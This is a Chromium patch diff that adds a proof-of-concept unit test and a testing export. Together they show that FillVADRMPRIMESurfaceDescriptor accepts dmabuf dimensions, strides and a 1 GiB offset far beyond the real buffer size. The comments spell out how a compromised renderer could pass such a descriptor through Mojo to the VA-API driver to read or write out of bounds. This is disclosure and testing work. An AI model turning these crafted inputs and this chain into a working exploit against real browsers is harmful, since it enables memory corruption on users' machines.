diff --git a/media/gpu/vaapi/BUILD.gn b/media/gpu/vaapi/BUILD.gn index 98b03e5864b6b..a7a6e34a94f68 100644 --- a/media/gpu/vaapi/BUILD.gn +++ b/media/gpu/vaapi/BUILD.gn @@ -257,7 +257,9 @@ source_set("vaapi_utils_unittest") { ":common", "//base", "//base/test:test_support", + "//components/viz/common/resources:shared_image_format", "//testing/gtest", + "//ui/gfx:memory_buffer", "//ui/gfx/geometry", ] } diff --git a/media/gpu/vaapi/vaapi_utils_unittest.cc b/media/gpu/vaapi/vaapi_utils_unittest.cc index 4b70a7e979518..b1a4b535f9968 100644 --- a/media/gpu/vaapi/vaapi_utils_unittest.cc +++ b/media/gpu/vaapi/vaapi_utils_unittest.cc @@ -4,7 +4,11 @@ #include "media/gpu/vaapi/vaapi_utils.h" +#include +#include +#include #include +#include #include #include @@ -16,9 +20,12 @@ #include "base/numerics/safe_conversions.h" #include "base/synchronization/lock.h" #include "base/test/gtest_util.h" +#include "components/viz/common/resources/shared_image_format.h" #include "media/gpu/vaapi/vaapi_wrapper.h" #include "testing/gtest/include/gtest/gtest.h" #include "ui/gfx/geometry/size.h" +#include "ui/gfx/linux/native_pixmap_dmabuf.h" +#include "ui/gfx/native_pixmap_handle.h" namespace media { namespace { @@ -209,4 +216,242 @@ TEST_F(VaapiUtilsTest, ScopedVASurfaceInvalidRTFormatRequest) { .empty()); } +// ============================================================================ +// POC for +// +// CWE-20: FillVADRMPRIMESurfaceDescriptor does not cross-validate declared +// dimensions (renderer-controlled) against the lseek-derived actual dmabuf +// size. +// +// This test does NOT require VA-API hardware. It directly exercises the +// stateless descriptor-filling function and proves it accepts attacker- +// controlled inputs that would cause out-of-bounds access in the VA driver. +// +// Attack model (full chain on real hardware): +// 1. Compromised renderer crafts ExportedSharedImage via Mojo with: +// - metadata.size = 1920x1080 (large, attacker-controlled) +// - buffer_handle = small dmabuf fd (e.g., 4096 bytes) +// - planes[].stride/offset = attacker-controlled +// 2. MojoVideoEncodeAcceleratorService::Encode at line 170-178 BYPASSES the +// coded_size check because frame->HasSharedImage() is true. +// 3. CreateNativePixmapDmaBuf wraps it using the renderer's coded_size(). +// 4. VaapiWrapper::CreateVASurfaceForPixmap calls +// FillVADRMPRIMESurfaceDescriptor (this function) which: +// - lseek()s the fd: gets 4096 (actual size) +// - copies width=1920, height=1080 from pixmap.GetBufferSize() +// - copies stride/offset from pixmap.GetDmaBufPitch/Offset +// - NEVER checks (height * stride <= data_size) +// - returns true +// 5. The internally-inconsistent VADRMPRIMESurfaceDescriptor is passed to +// vaCreateSurfaces() in the GPU process. The VA driver maps the small +// buffer believing it is 1920x1080 and reads/writes out of bounds. +// +// THIS TEST PASSES IF THE BUG EXISTS. After the fix, the function should +// return false for inconsistent input and this test should be inverted. +// ============================================================================ + +// Declared in vaapi_wrapper.cc (added by POC patch). +extern bool FillVADRMPRIMESurfaceDescriptorForTesting( + const gfx::NativePixmap& pixmap, + VADRMPRIMESurfaceDescriptor& descriptor); + +namespace { + +// Create a small memfd that supports lseek(SEEK_END) just like a real dmabuf. +// This simulates the attacker's small dmabuf with a known size. +base::ScopedFD CreateSmallMemFd(size_t size) { + int fd = static_cast(syscall(SYS_memfd_create, "poc_fake_dmabuf", 0)); + if (fd < 0) { + return base::ScopedFD(); + } + if (ftruncate(fd, static_cast(size)) != 0) { + close(fd); + return base::ScopedFD(); + } + return base::ScopedFD(fd); +} + +} // namespace + +// This test class does NOT inherit from VaapiUtilsTest because it does not +// need VaapiWrapper / VA-API initialization. It runs on systems without GPU. +class VaapiDescriptorValidationGapTest : public testing::Test {}; + +TEST_F(VaapiDescriptorValidationGapTest, + FillVADRMPRIMESurfaceDescriptor_AcceptsInconsistentInput) { + // ==== Step 1: Create the attacker's small "dmabuf" (4096 bytes) ==== + // In a real attack the renderer would obtain a small legitimate dmabuf + // (e.g., from a 32x32 SharedImage allocation) and then lie about its + // dimensions in the ExportedSharedImage mojo metadata. + constexpr size_t kActualDmabufSize = 4096; + base::ScopedFD fd0 = CreateSmallMemFd(kActualDmabufSize); + base::ScopedFD fd1 = CreateSmallMemFd(kActualDmabufSize); + ASSERT_TRUE(fd0.is_valid()); + ASSERT_TRUE(fd1.is_valid()); + + // Verify lseek behaves as the production code expects. + ASSERT_EQ(lseek(fd0.get(), 0, SEEK_END), static_cast(kActualDmabufSize)); + ASSERT_EQ(lseek(fd0.get(), 0, SEEK_SET), 0); + + // ==== Step 2: Craft attacker-controlled NativePixmapHandle ==== + // The renderer fully controls these values via NativePixmapPlane mojo + // traits (native_handle_types_mojom_traits.cc:96-114) which copy + // stride/offset/size without lseek validation. + constexpr uint32_t kClaimedWidth = 1920; + constexpr uint32_t kClaimedHeight = 1080; + constexpr uint32_t kClaimedStrideY = 1920; // Y plane, 1 byte/pixel + constexpr uint32_t kClaimedStrideUV = 1920; // UV plane, 2 bytes/pixel interleaved + constexpr uint32_t kClaimedOffsetUV = 1920 * 1080; // After Y plane + + // Minimum bytes the VA driver would need for these declared dimensions: + // Y plane: 1920 * 1080 = 2,073,600 bytes + // UV plane: 1920 * 540 = 1,036,800 bytes (NV12 has half-height chroma) + // Total: 3,110,400 bytes + // But the actual fd is only 4096 bytes -- a 759x discrepancy. + constexpr uint64_t kMinRequiredBytes = + static_cast(kClaimedStrideY) * kClaimedHeight + + static_cast(kClaimedStrideUV) * (kClaimedHeight / 2); + static_assert(kMinRequiredBytes == 3110400, "expected min size"); + static_assert(kMinRequiredBytes > kActualDmabufSize, + "attacker's claim must exceed reality"); + + gfx::NativePixmapHandle handle; + handle.modifier = 0; // DRM_FORMAT_MOD_LINEAR + // NV12 has 2 planes. Each plane's stride/offset/size is fully renderer- + // controlled in the SharedImage mojo path (the report's "asymmetric gap": + // is_dmabuf_data validates against lseek, is_shared_image_data does not). + handle.planes.emplace_back(kClaimedStrideY, /*offset=*/0, + /*size=*/kClaimedStrideY * kClaimedHeight, + std::move(fd0)); + handle.planes.emplace_back(kClaimedStrideUV, kClaimedOffsetUV, + /*size=*/kClaimedStrideUV * (kClaimedHeight / 2), + std::move(fd1)); + + // ==== Step 3: Create NativePixmapDmaBuf with attacker dimensions ==== + // platform_video_frame_utils.cc:567-569 uses video_frame->coded_size() which + // ultimately derives from renderer-controlled ExportedSharedImage metadata. + // NativePixmapDmaBuf's constructor performs NO validation. + auto pixmap = base::MakeRefCounted( + gfx::Size(kClaimedWidth, kClaimedHeight), + viz::MultiPlaneFormat::kNV12, + std::move(handle)); + ASSERT_TRUE(pixmap->AreDmaBufFdsValid()); + + // ==== Step 4: Call the vulnerable function ==== + // This is the same code path that VaapiWrapper::CreateVASurfaceForPixmap + // takes at vaapi_wrapper.cc:2483. + VADRMPRIMESurfaceDescriptor descriptor; + bool result = FillVADRMPRIMESurfaceDescriptorForTesting(*pixmap, descriptor); + + // ==== Step 5: Prove the validation gap ==== + // BUG: The function returns TRUE (success!) despite the gross inconsistency. + // It performed lseek (so it KNOWS the real size is 4096) but never checked + // that the declared width/height/stride/offset can fit. + EXPECT_TRUE(result) + << "FillVADRMPRIMESurfaceDescriptor unexpectedly rejected inconsistent " + << "input. If this fails, the vulnerability has been FIXED."; + + // The descriptor handed to vaCreateSurfaces is internally inconsistent: + EXPECT_EQ(descriptor.width, kClaimedWidth); + EXPECT_EQ(descriptor.height, kClaimedHeight); + EXPECT_EQ(descriptor.num_objects, 2u); + EXPECT_EQ(descriptor.objects[0].size, kActualDmabufSize) + << "lseek correctly reported the real size"; + EXPECT_EQ(descriptor.objects[1].size, kActualDmabufSize); + EXPECT_EQ(descriptor.layers[0].pitch[0], kClaimedStrideY); + EXPECT_EQ(descriptor.layers[0].offset[1], kClaimedOffsetUV) + << "offset[1] points 2MB into a 4KB buffer"; + + // ==== Step 6: Quantify the discrepancy ==== + // Y plane alone needs height * pitch[0] = 1080 * 1920 = 2,073,600 bytes. + // The descriptor says objects[0].size = 4096. + // The VA driver receives BOTH values and is expected to reconcile them. + // Chromium's threat model does not rely on third-party drivers to sanitize + // untrusted renderer input -- this is a missing validation at a trust + // boundary. + const uint64_t y_plane_min_size = + static_cast(descriptor.height) * + static_cast(descriptor.layers[0].pitch[0]); + EXPECT_GT(y_plane_min_size, descriptor.objects[0].size); + EXPECT_GT(y_plane_min_size, descriptor.objects[0].size * 500u) + << "discrepancy is > 500x; not a rounding artifact"; + + // Offset[1] alone is past the end of objects[1]: + EXPECT_GT(descriptor.layers[0].offset[1], descriptor.objects[1].size) + << "UV plane offset is already past end of buffer"; + + fprintf(stderr, + "\n" + "============================================================\n" + " POC: VALIDATION GAP CONFIRMED\n" + "============================================================\n" + " FillVADRMPRIMESurfaceDescriptor returned: %s\n" + " descriptor.width = %u\n" + " descriptor.height = %u\n" + " descriptor.objects[0].size = %u <-- lseek-derived (truth)\n" + " descriptor.layers[0].pitch[0] = %u\n" + " descriptor.layers[0].offset[1] = %u\n" + " ---------------------------------------------\n" + " Y plane requires: %u * %u = %llu bytes\n" + " Actual buffer is: %u bytes\n" + " Discrepancy: %llux\n" + " ---------------------------------------------\n" + " This descriptor would be passed to vaCreateSurfaces() in the\n" + " GPU process. On real hardware (Intel iHD / Mesa Gallium), the\n" + " driver would map the 4KB buffer and access %llu bytes into it.\n" + "============================================================\n", + result ? "true (BUG: accepted inconsistent input)" : "false", + descriptor.width, descriptor.height, descriptor.objects[0].size, + descriptor.layers[0].pitch[0], descriptor.layers[0].offset[1], + descriptor.height, descriptor.layers[0].pitch[0], + static_cast(y_plane_min_size), + descriptor.objects[0].size, + static_cast(y_plane_min_size / + descriptor.objects[0].size), + static_cast(y_plane_min_size)); +} + +// Variant: offset alone exceeds buffer size (more direct OOB primitive). +TEST_F(VaapiDescriptorValidationGapTest, + FillVADRMPRIMESurfaceDescriptor_AcceptsOffsetPastEnd) { + constexpr size_t kActualDmabufSize = 4096; + base::ScopedFD fd0 = CreateSmallMemFd(kActualDmabufSize); + base::ScopedFD fd1 = CreateSmallMemFd(kActualDmabufSize); + ASSERT_TRUE(fd0.is_valid()); + ASSERT_TRUE(fd1.is_valid()); + + // Small "valid-looking" dimensions but a wild offset for plane 1. + // The only validation in the function is base::IsValueInRangeForNumericType + // at line 487-491, which only checks the value fits in 32 bits. + // 0x40000000 (1 GiB) fits in uint32_t, so it passes that check. + constexpr uint32_t kWildOffset = 0x40000000u; // 1 GiB + + gfx::NativePixmapHandle handle; + handle.modifier = 0; + handle.planes.emplace_back(/*stride=*/64, /*offset=*/0, + /*size=*/64 * 64, std::move(fd0)); + handle.planes.emplace_back(/*stride=*/64, /*offset=*/kWildOffset, + /*size=*/64 * 32, std::move(fd1)); + + auto pixmap = base::MakeRefCounted( + gfx::Size(64, 64), viz::MultiPlaneFormat::kNV12, std::move(handle)); + ASSERT_TRUE(pixmap->AreDmaBufFdsValid()); + + VADRMPRIMESurfaceDescriptor descriptor; + bool result = FillVADRMPRIMESurfaceDescriptorForTesting(*pixmap, descriptor); + + EXPECT_TRUE(result) + << "Function rejected wild offset; vulnerability may be fixed."; + EXPECT_EQ(descriptor.layers[0].offset[1], kWildOffset); + EXPECT_EQ(descriptor.objects[1].size, kActualDmabufSize); + // offset[1] (1 GiB) >> objects[1].size (4 KiB): the driver would read at + // base_address + 1GiB into a 4KiB mapping. + EXPECT_GT(descriptor.layers[0].offset[1], descriptor.objects[1].size); + + fprintf(stderr, + "\n[POC] Wild offset accepted: offset[1]=0x%x but data_size=%u. " + "Driver would dereference 1GiB past buffer end.\n", + descriptor.layers[0].offset[1], descriptor.objects[1].size); +} + } // namespace media diff --git a/media/gpu/vaapi/vaapi_wrapper.cc b/media/gpu/vaapi/vaapi_wrapper.cc index f67de041edfc1..1be44c9b811f4 100644 --- a/media/gpu/vaapi/vaapi_wrapper.cc +++ b/media/gpu/vaapi/vaapi_wrapper.cc @@ -572,6 +572,27 @@ bool FillVASurfaceAttribExternalBuffers( namespace media { +// ============================================================================ +// POC for +// +// Expose the anonymous-namespace FillVADRMPRIMESurfaceDescriptor for testing. +// This function is stateless and does not require VA-API initialization, so +// it can be exercised on systems without GPU hardware to demonstrate that +// it accepts internally-inconsistent input (renderer-controlled width/height/ +// stride/offset that exceed the lseek-derived actual dmabuf size). +// +// The actual memory corruption happens downstream in the VA-API driver +// (Intel iHD / Mesa Gallium) when it trusts these inconsistent values during +// vaCreateSurfaces(). ASAN cannot instrument the driver shared library, and +// this environment lacks /dev/dri/ hardware. The unit test below proves the +// validation gap exists at Chromium's trust boundary. +// ============================================================================ +MEDIA_GPU_EXPORT bool FillVADRMPRIMESurfaceDescriptorForTesting( + const gfx::NativePixmap& pixmap, + VADRMPRIMESurfaceDescriptor& descriptor) { + return FillVADRMPRIMESurfaceDescriptor(pixmap, descriptor); +} + namespace { // VAEntrypoint is an enumeration starting from 1, but has no "invalid" value. constexpr VAEntrypoint kVAEntrypointInvalid = static_cast(0);